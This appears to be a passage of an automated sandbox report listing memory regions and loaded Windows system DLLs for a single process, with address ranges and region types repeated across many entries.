Region: id = 7930 start_va = 0xcbc14f0000 end_va = 0xcbc15bffff entry_point = 0x0 region_type = private name = "private_0x000000cbc14f0000" filename = "" Region: id = 7931 start_va = 0xcbc14f0000 end_va = 0xcbc14f6fff entry_point = 0x0 region_type = private name = "private_0x000000cbc14f0000" filename = "" Region: id = 7932 start_va = 0xcbc15b0000 end_va = 0xcbc15bffff entry_point = 0x0 region_type = private name = "private_0x000000cbc15b0000" filename = "" Region: id = 7933 start_va = 0xcbc1730000 end_va = 0xcbc17e9fff entry_point = 0xcbc175c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 7934 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 7935 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 7936 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 7937 start_va = 0xcbc1500000 end_va = 0xcbc1501fff entry_point = 0x0 region_type = private name = "private_0x000000cbc1500000" filename = "" Region: id = 7938 start_va = 0xcbc1730000 end_va = 0xcbc1931fff entry_point = 0x0 region_type = private name = "private_0x000000cbc1730000" filename = "" Region: id = 7939 start_va = 0xcbc1510000 end_va = 0xcbc158ffff entry_point = 0x0 region_type = private name = "private_0x000000cbc1510000" filename = "" Region: id = 7940 start_va = 0x7ff63bdbb000 end_va = 0x7ff63bdbcfff entry_point = 0x0 region_type = private name = "private_0x00007ff63bdbb000" filename = "" Region: id = 7941 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7942 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7943 start_va = 0xcbc1590000 end_va = 0xcbc1592fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc1590000" filename = "" Region: id = 7944 start_va = 0xcbc15a0000 end_va = 0xcbc15a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc15a0000" filename = "" Region: id = 7945 start_va = 0xcbc15c0000 end_va = 0xcbc15c0fff entry_point = 0x0 region_type = private name = "private_0x000000cbc15c0000" filename = "" Region: id = 7946 start_va = 0xcbc15d0000 end_va = 0xcbc15d0fff entry_point = 0x0 region_type = private name = "private_0x000000cbc15d0000" filename = "" Region: id = 7947 start_va = 0xcbc1940000 end_va = 0xcbc1ac7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc1940000" filename = "" Region: id = 7948 start_va = 0xcbc1ad0000 end_va = 0xcbc1c50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc1ad0000" filename = "" Region: id = 7949 start_va = 0xcbc1c60000 end_va = 0xcbc1d1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc1c60000" filename = "" Region: id = 7950 start_va = 0xcbc1d20000 end_va = 0xcbc1e57fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc1d20000" filename = "" Region: id = 7951 start_va = 0xcbc1e60000 end_va = 0xcbc1edffff entry_point = 0x0 region_type = private name = "private_0x000000cbc1e60000" filename = "" Region: id = 7952 start_va = 0x7ff63bdb9000 end_va = 0x7ff63bdbafff entry_point = 0x0 region_type = private name = "private_0x00007ff63bdb9000" filename = "" Region: id = 7956 start_va = 0xcbc15e0000 end_va = 0xcbc15e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc15e0000" filename = "" Region: id = 7957 start_va = 0x7ffd1d590000 end_va = 0x7ffd1d633fff entry_point = 0x7ffd1d591170 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 7958 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 7959 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 7960 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 7961 start_va = 0xcbc1ee0000 end_va = 0xcbc21b4fff entry_point = 0xcbc1ee0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 7962 start_va = 0xcbc21c0000 end_va = 0xcbc223ffff entry_point = 0x0 region_type = private name = "private_0x000000cbc21c0000" filename = "" Region: id = 7963 start_va = 0x7ff63bdb7000 end_va = 0x7ff63bdb8fff entry_point = 0x0 region_type = private name = "private_0x00007ff63bdb7000" filename = "" Region: id = 7964 start_va = 0xcbc2240000 end_va = 0xcbc22bffff entry_point = 0x0 region_type = private name = "private_0x000000cbc2240000" filename = "" Region: id = 7965 start_va = 0x7ff63bdb5000 end_va = 0x7ff63bdb6fff entry_point = 0x0 region_type = private name = "private_0x00007ff63bdb5000" filename = "" Region: id = 7973 start_va = 0x7ffd15900000 end_va = 0x7ffd15975fff entry_point = 0x7ffd1590b7b0 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 7974 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 7975 start_va = 0x7ffd1cc50000 end_va = 0x7ffd1cc94fff entry_point = 0x7ffd1cc51290 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 7976 start_va = 0xcbc22c0000 end_va = 0xcbc2436fff entry_point = 0xcbc22c10b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 7978 start_va = 0xcbc15f0000 end_va = 0xcbc15f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc15f0000" filename = "" Region: id = 7979 start_va = 0x7ffd13b50000 end_va = 0x7ffd13bc1fff entry_point = 0x7ffd13b50000 region_type = mapped_file name = "audioeng.dll" filename = "\\Windows\\System32\\AudioEng.dll" (normalized: "c:\\windows\\system32\\audioeng.dll") Region: id = 7980 start_va = 0x7ffd19d70000 end_va = 0x7ffd19d7afff entry_point = 0x7ffd19d71010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 7981 start_va = 0xcbc1600000 end_va = 0xcbc1601fff entry_point = 0x0 region_type = private name = "private_0x000000cbc1600000" filename = "" Region: id = 7982 start_va = 0xcbc22c0000 end_va = 0xcbc24c1fff entry_point = 0x0 region_type = private name = "private_0x000000cbc22c0000" filename = "" Region: id = 7983 start_va = 0x7ffd13af0000 end_va = 0x7ffd13b4dfff entry_point = 0x7ffd13af0000 region_type = mapped_file name = "audiokse.dll" filename = "\\Windows\\System32\\AUDIOKSE.dll" (normalized: "c:\\windows\\system32\\audiokse.dll") Region: id = 7984 start_va = 0xcbc1610000 end_va = 0xcbc161ffff entry_point = 0x0 region_type = private name = "private_0x000000cbc1610000" filename = "" Region: id = 7985 start_va = 0xcbc1620000 end_va = 0xcbc1621fff entry_point = 0x0 region_type = private name = "private_0x000000cbc1620000" filename = "" Region: id = 7986 start_va = 0xcbc24d0000 end_va = 0xcbc24e1fff entry_point = 0x0 region_type = private name = "private_0x000000cbc24d0000" filename = "" Region: id = 7987 start_va = 0xcbc24f0000 end_va = 0xcbc24f0fff entry_point = 0x0 region_type = private name = "private_0x000000cbc24f0000" filename = "" Region: id = 7988 start_va = 0xcbc2500000 end_va = 0xcbc2500fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2500000" filename = "" Region: id = 7989 start_va = 0xcbc2510000 end_va = 0xcbc2511fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2510000" filename = "" Region: id = 7990 start_va = 0xcbc2520000 end_va = 0xcbc2520fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2520000" filename = "" Region: id = 7991 start_va = 0xcbc2530000 end_va = 0xcbc2531fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2530000" filename = "" Region: id = 7992 start_va = 0xcbc2540000 end_va = 0xcbc2581fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2540000" filename = "" Region: id = 7993 start_va = 0xcbc2590000 end_va = 0xcbc260ffff entry_point = 0x0 region_type = private name = "private_0x000000cbc2590000" filename = "" Region: id = 7994 start_va = 0xcbc2610000 end_va = 0xcbc2611fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2610000" filename = "" Region: id = 7995 start_va = 0x7ff63bdb3000 end_va = 0x7ff63bdb4fff entry_point = 0x0 region_type = private name = "private_0x00007ff63bdb3000" filename = "" Region: id = 7996 start_va = 0xcbc2620000 end_va = 0xcbc2629fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2620000" filename = "" Region: id = 8000 start_va = 0x7ffd11b90000 end_va = 0x7ffd11d43fff entry_point = 0x7ffd11b90000 region_type = mapped_file name = "wmalfxgfxdsp.dll" filename = "\\Windows\\System32\\WMALFXGFXDSP.dll" (normalized: "c:\\windows\\system32\\wmalfxgfxdsp.dll") Region: id = 8001 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 8002 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8003 start_va = 0x7ffd137d0000 end_va = 0x7ffd138a3fff entry_point = 0x7ffd137d1010 region_type = mapped_file name = "mfplat.dll" filename = "\\Windows\\System32\\mfplat.dll" (normalized: "c:\\windows\\system32\\mfplat.dll") Region: id = 8004 start_va = 0x7ffd13a00000 end_va = 0x7ffd13a23fff entry_point = 0x7ffd13a090ac region_type = mapped_file name = "rtworkq.dll" filename = "\\Windows\\System32\\RTWorkQ.dll" (normalized: "c:\\windows\\system32\\rtworkq.dll") Region: id = 8005 start_va = 0xcbc2630000 end_va = 0xcbc26affff entry_point = 0x0 region_type = private name = "private_0x000000cbc2630000" filename = "" Region: id = 8006 start_va = 0xcbc26b0000 end_va = 0xcbc26b0fff entry_point = 0x0 region_type = private name = "private_0x000000cbc26b0000" filename = "" Region: id = 8007 start_va = 0x7ff63bc8e000 end_va = 0x7ff63bc8ffff entry_point = 0x0 region_type = private name = "private_0x00007ff63bc8e000" filename = "" Region: id = 8008 start_va = 0xcbc26c0000 end_va = 0xcbc26c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc26c0000" filename = "" Region: id = 8009 start_va = 0xcbc26d0000 end_va = 0xcbc27cffff entry_point = 0x0 region_type = private name = "private_0x000000cbc26d0000" filename = "" Region: id = 8029 start_va = 0xcbc2510000 end_va = 0xcbc2511fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2510000" filename = "" Region: id = 8030 start_va = 0xcbc2520000 end_va = 0xcbc2520fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2520000" filename = "" Region: id = 8031 start_va = 0xcbc2530000 end_va = 0xcbc2531fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2530000" filename = "" Region: id = 8032 start_va = 0xcbc2540000 end_va = 0xcbc2581fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2540000" filename = "" Region: id = 8033 start_va = 0xcbc2610000 end_va = 0xcbc2611fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2610000" filename = "" Region: id = 8034 start_va = 0xcbc2620000 end_va = 0xcbc2629fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2620000" filename = "" Region: id = 8035 start_va = 0xcbc2630000 end_va = 0xcbc26affff entry_point = 0x0 region_type = private name = "private_0x000000cbc2630000" filename = "" Region: id = 8036 start_va = 0xcbc26b0000 end_va = 0xcbc26b0fff entry_point = 0x0 region_type = private name = "private_0x000000cbc26b0000" filename = "" Region: id = 8037 start_va = 0x7ff63bc8e000 end_va = 0x7ff63bc8ffff entry_point = 0x0 region_type = private name = "private_0x00007ff63bc8e000" filename = "" Region: id = 8038 start_va = 0xcbc26c0000 end_va = 0xcbc26c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc26c0000" filename = "" Region: id = 8174 start_va = 0xcbc2510000 end_va = 0xcbc2511fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2510000" filename = "" Region: id = 8175 start_va = 0xcbc2520000 end_va = 0xcbc2520fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2520000" filename = "" Region: id = 8176 start_va = 0xcbc2530000 end_va = 0xcbc2531fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2530000" filename = "" Region: id = 8177 start_va = 0xcbc2540000 end_va = 0xcbc2581fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2540000" filename = "" Region: id = 8178 start_va = 0xcbc2610000 end_va = 0xcbc2611fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2610000" filename = "" Region: id = 8179 start_va = 0xcbc2620000 end_va = 0xcbc2629fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2620000" filename = "" Region: id = 8180 start_va = 0xcbc2630000 end_va = 0xcbc26affff entry_point = 0x0 region_type = private name = "private_0x000000cbc2630000" filename = "" Region: id = 8181 start_va = 0xcbc26b0000 end_va = 0xcbc26b0fff entry_point = 0x0 region_type = private name = "private_0x000000cbc26b0000" filename = "" Region: id = 8182 start_va = 0x7ff63bc8e000 end_va = 0x7ff63bc8ffff entry_point = 0x0 region_type = private name = "private_0x00007ff63bc8e000" filename = "" Region: id = 8183 start_va = 0xcbc26c0000 end_va = 0xcbc26c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc26c0000" filename = "" Region: id = 8198 start_va = 0xcbc2510000 end_va = 0xcbc2511fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2510000" filename = "" Region: id = 8199 start_va = 0xcbc2520000 end_va = 0xcbc2520fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2520000" filename = "" Region: id = 8200 start_va = 0xcbc2530000 end_va = 0xcbc2531fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2530000" filename = "" Region: id = 8201 start_va = 0xcbc2540000 end_va = 0xcbc2581fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2540000" filename = "" Region: id = 8202 start_va = 0xcbc2610000 end_va = 0xcbc2611fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2610000" filename = "" Region: id = 8203 start_va = 0xcbc2620000 end_va = 0xcbc2629fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2620000" filename = "" Region: id = 8204 start_va = 0xcbc2630000 end_va = 0xcbc26affff entry_point = 0x0 region_type = private name = "private_0x000000cbc2630000" filename = "" Region: id = 8205 start_va = 0xcbc26b0000 end_va = 0xcbc26b0fff entry_point = 0x0 region_type = private name = "private_0x000000cbc26b0000" filename = "" Region: id = 8206 start_va = 0x7ff63bc8e000 end_va = 0x7ff63bc8ffff entry_point = 0x0 region_type = private name = "private_0x00007ff63bc8e000" filename = "" Region: id = 8207 start_va = 0xcbc26c0000 end_va = 0xcbc26c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc26c0000" filename = "" Region: id = 8326 start_va = 0xcbc2510000 end_va = 0xcbc2511fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2510000" filename = "" Region: id = 8327 start_va = 0xcbc2520000 end_va = 0xcbc2520fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2520000" filename = "" Region: id = 8328 start_va = 0xcbc2530000 end_va = 0xcbc2531fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2530000" filename = "" Region: id = 8329 start_va = 0xcbc2540000 end_va = 0xcbc2581fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2540000" filename = "" Region: id = 8330 start_va = 0xcbc2610000 end_va = 0xcbc2611fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2610000" filename = "" Region: id = 8331 start_va = 0xcbc2620000 end_va = 0xcbc2629fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2620000" filename = "" Region: id = 8332 start_va = 0xcbc2630000 end_va = 0xcbc26affff entry_point = 0x0 region_type = private name = "private_0x000000cbc2630000" filename = "" Region: id = 8333 start_va = 0xcbc26b0000 end_va = 0xcbc26b0fff entry_point = 0x0 region_type = private name = "private_0x000000cbc26b0000" filename = "" Region: id = 8334 start_va = 0x7ff63bc8e000 end_va = 0x7ff63bc8ffff entry_point = 0x0 region_type = private name = "private_0x00007ff63bc8e000" filename = "" Region: id = 8335 start_va = 0xcbc26c0000 end_va = 0xcbc26c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc26c0000" filename = "" Region: id = 8350 start_va = 0xcbc2510000 end_va = 0xcbc2511fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2510000" filename = "" Region: id = 8351 start_va = 0xcbc2520000 end_va = 0xcbc2520fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2520000" filename = "" Region: id = 8352 start_va = 0xcbc2530000 end_va = 0xcbc2531fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2530000" filename = "" Region: id = 8353 start_va = 0xcbc2540000 end_va = 0xcbc2581fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2540000" filename = "" Region: id = 8354 start_va = 0xcbc2610000 end_va = 0xcbc2611fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2610000" filename = "" Region: id = 8355 start_va = 0xcbc2620000 end_va = 0xcbc2629fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2620000" filename = "" Region: id = 8356 start_va = 0xcbc2630000 end_va = 0xcbc26affff entry_point = 0x0 region_type = private name = "private_0x000000cbc2630000" filename = "" Region: id = 8357 start_va = 0xcbc26b0000 end_va = 0xcbc26b0fff entry_point = 0x0 region_type = private name = "private_0x000000cbc26b0000" filename = "" Region: id = 8358 start_va = 0x7ff63bc8e000 end_va = 0x7ff63bc8ffff entry_point = 0x0 region_type = private name = "private_0x00007ff63bc8e000" filename = "" Region: id = 8359 start_va = 0xcbc26c0000 end_va = 0xcbc26c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc26c0000" filename = "" Region: id = 8478 start_va = 0xcbc2510000 end_va = 0xcbc2511fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2510000" filename = "" Region: id = 8479 start_va = 0xcbc2520000 end_va = 0xcbc2520fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2520000" filename = "" Region: id = 8480 start_va = 0xcbc2530000 end_va = 0xcbc2531fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2530000" filename = "" Region: id = 8481 start_va = 0xcbc2540000 end_va = 0xcbc2581fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2540000" filename = "" Region: id = 8482 start_va = 0xcbc2610000 end_va = 0xcbc2611fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2610000" filename = "" Region: id = 8483 start_va = 0xcbc2620000 end_va = 0xcbc2629fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2620000" filename = "" Region: id = 8484 start_va = 0xcbc2630000 end_va = 0xcbc26affff entry_point = 0x0 region_type = private name = "private_0x000000cbc2630000" filename = "" Region: id = 8485 start_va = 0xcbc26b0000 end_va = 0xcbc26b0fff entry_point = 0x0 region_type = private name = "private_0x000000cbc26b0000" filename = "" Region: id = 8486 start_va = 0x7ff63bc8e000 end_va = 0x7ff63bc8ffff entry_point = 0x0 region_type = private name = "private_0x00007ff63bc8e000" filename = "" Region: id = 8487 start_va = 0xcbc26c0000 end_va = 0xcbc26c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc26c0000" filename = "" Region: id = 8503 start_va = 0xcbc2510000 end_va = 0xcbc2511fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2510000" filename = "" Region: id = 8504 start_va = 0xcbc2520000 end_va = 0xcbc2520fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2520000" filename = "" Region: id = 8505 start_va = 0xcbc2530000 end_va = 0xcbc2531fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2530000" filename = "" Region: id = 8506 start_va = 0xcbc2540000 end_va = 0xcbc2581fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2540000" filename = "" Region: id = 8507 start_va = 0xcbc2610000 end_va = 0xcbc2611fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2610000" filename = "" Region: id = 8508 start_va = 0xcbc2620000 end_va = 0xcbc2629fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2620000" filename = "" Region: id = 8509 start_va = 0xcbc2630000 end_va = 0xcbc26affff entry_point = 0x0 region_type = private name = "private_0x000000cbc2630000" filename = "" Region: id = 8510 start_va = 0xcbc26b0000 end_va = 0xcbc26b0fff entry_point = 0x0 region_type = private name = "private_0x000000cbc26b0000" filename = "" Region: id = 8511 start_va = 0x7ff63bc8e000 end_va = 0x7ff63bc8ffff entry_point = 0x0 region_type = private name = "private_0x00007ff63bc8e000" filename = "" Region: id = 8512 start_va = 0xcbc26c0000 end_va = 0xcbc26c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc26c0000" filename = "" Region: id = 8630 start_va = 0xcbc2510000 end_va = 0xcbc2511fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2510000" filename = "" Region: id = 8631 start_va = 0xcbc2520000 end_va = 0xcbc2520fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2520000" filename = "" Region: id = 8632 start_va = 0xcbc2530000 end_va = 0xcbc2531fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2530000" filename = "" Region: id = 8633 start_va = 0xcbc2540000 end_va = 0xcbc2581fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2540000" filename = "" Region: id = 8634 start_va = 0xcbc2610000 end_va = 0xcbc2611fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2610000" filename = "" Region: id = 8635 start_va = 0xcbc2620000 end_va = 0xcbc2629fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2620000" filename = "" Region: id = 8636 start_va = 0xcbc2630000 end_va = 0xcbc26affff entry_point = 0x0 region_type = private name = "private_0x000000cbc2630000" filename = "" Region: id = 8637 start_va = 0xcbc26b0000 end_va = 0xcbc26b0fff entry_point = 0x0 region_type = private name = "private_0x000000cbc26b0000" filename = "" Region: id = 8638 start_va = 0x7ff63bc8e000 end_va = 0x7ff63bc8ffff entry_point = 0x0 region_type = private name = "private_0x00007ff63bc8e000" filename = "" Region: id = 8639 start_va = 0xcbc26c0000 end_va = 0xcbc26c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc26c0000" filename = "" Region: id = 8656 start_va = 0xcbc2510000 end_va = 0xcbc2511fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2510000" filename = "" Region: id = 8657 start_va = 0xcbc2520000 end_va = 0xcbc2520fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2520000" filename = "" Region: id = 8658 start_va = 0xcbc2530000 end_va = 0xcbc2531fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2530000" filename = "" Region: id = 8659 start_va = 0xcbc2540000 end_va = 0xcbc2581fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2540000" filename = "" Region: id = 8660 start_va = 0xcbc2610000 end_va = 0xcbc2611fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2610000" filename = "" Region: id = 8661 start_va = 0xcbc2620000 end_va = 0xcbc2629fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2620000" filename = "" Region: id = 8662 start_va = 0xcbc2630000 end_va = 0xcbc26affff entry_point = 0x0 region_type = private name = "private_0x000000cbc2630000" filename = "" Region: id = 8663 start_va = 0xcbc26b0000 end_va = 0xcbc26b0fff entry_point = 0x0 region_type = private name = "private_0x000000cbc26b0000" filename = "" Region: id = 8664 start_va = 0x7ff63bc8e000 end_va = 0x7ff63bc8ffff entry_point = 0x0 region_type = private name = "private_0x00007ff63bc8e000" filename = "" Region: id = 8665 start_va = 0xcbc26c0000 end_va = 0xcbc26c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc26c0000" filename = "" Region: id = 8780 start_va = 0xcbc2510000 end_va = 0xcbc2511fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2510000" filename = "" Region: id = 8781 start_va = 0xcbc2520000 end_va = 0xcbc2520fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2520000" filename = "" Region: id = 8782 start_va = 0xcbc2530000 end_va = 0xcbc2531fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2530000" filename = "" Region: id = 8783 start_va = 0xcbc2540000 end_va = 0xcbc2581fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2540000" filename = "" Region: id = 8784 start_va = 0xcbc2610000 end_va = 0xcbc2611fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2610000" filename = "" Region: id = 8785 start_va = 0xcbc2620000 end_va = 0xcbc2629fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2620000" filename = "" Region: id = 8786 start_va = 0xcbc2630000 end_va = 0xcbc26affff entry_point = 0x0 region_type = private name = "private_0x000000cbc2630000" filename = "" Region: id = 8787 start_va = 0xcbc26b0000 end_va = 0xcbc26b0fff entry_point = 0x0 region_type = private name = "private_0x000000cbc26b0000" filename = "" Region: id = 8788 start_va = 0x7ff63bc8e000 end_va = 0x7ff63bc8ffff entry_point = 0x0 region_type = private name = "private_0x00007ff63bc8e000" filename = "" Region: id = 8789 start_va = 0xcbc26c0000 end_va = 0xcbc26c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc26c0000" filename = "" Region: id = 8807 start_va = 0xcbc2510000 end_va = 0xcbc2511fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2510000" filename = "" Region: id = 8808 start_va = 0xcbc2520000 end_va = 0xcbc2520fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2520000" filename = "" Region: id = 8809 start_va = 0xcbc2530000 end_va = 0xcbc2531fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2530000" filename = "" Region: id = 8810 start_va = 0xcbc2540000 end_va = 0xcbc2581fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2540000" filename = "" Region: id = 8811 start_va = 0xcbc2610000 end_va = 0xcbc2611fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2610000" filename = "" Region: id = 8812 start_va = 0xcbc2620000 end_va = 0xcbc2629fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2620000" filename = "" Region: id = 8813 start_va = 0xcbc2630000 end_va = 0xcbc26affff entry_point = 0x0 region_type = private name = "private_0x000000cbc2630000" filename = "" Region: id = 8814 start_va = 0xcbc26b0000 end_va = 0xcbc26b0fff entry_point = 0x0 region_type = private name = "private_0x000000cbc26b0000" filename = "" Region: id = 8815 start_va = 0x7ff63bc8e000 end_va = 0x7ff63bc8ffff entry_point = 0x0 region_type = private name = "private_0x00007ff63bc8e000" filename = "" Region: id = 8816 start_va = 0xcbc26c0000 end_va = 0xcbc26c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc26c0000" filename = "" Region: id = 8932 start_va = 0xcbc2510000 end_va = 0xcbc2511fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2510000" filename = "" Region: id = 8933 start_va = 0xcbc2520000 end_va = 0xcbc2520fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2520000" filename = "" Region: id = 8934 start_va = 0xcbc2530000 end_va = 0xcbc2531fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2530000" filename = "" Region: id = 8935 start_va = 0xcbc2540000 end_va = 0xcbc2581fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2540000" filename = "" Region: id = 8936 start_va = 0xcbc2610000 end_va = 0xcbc2611fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2610000" filename = "" Region: id = 8937 start_va = 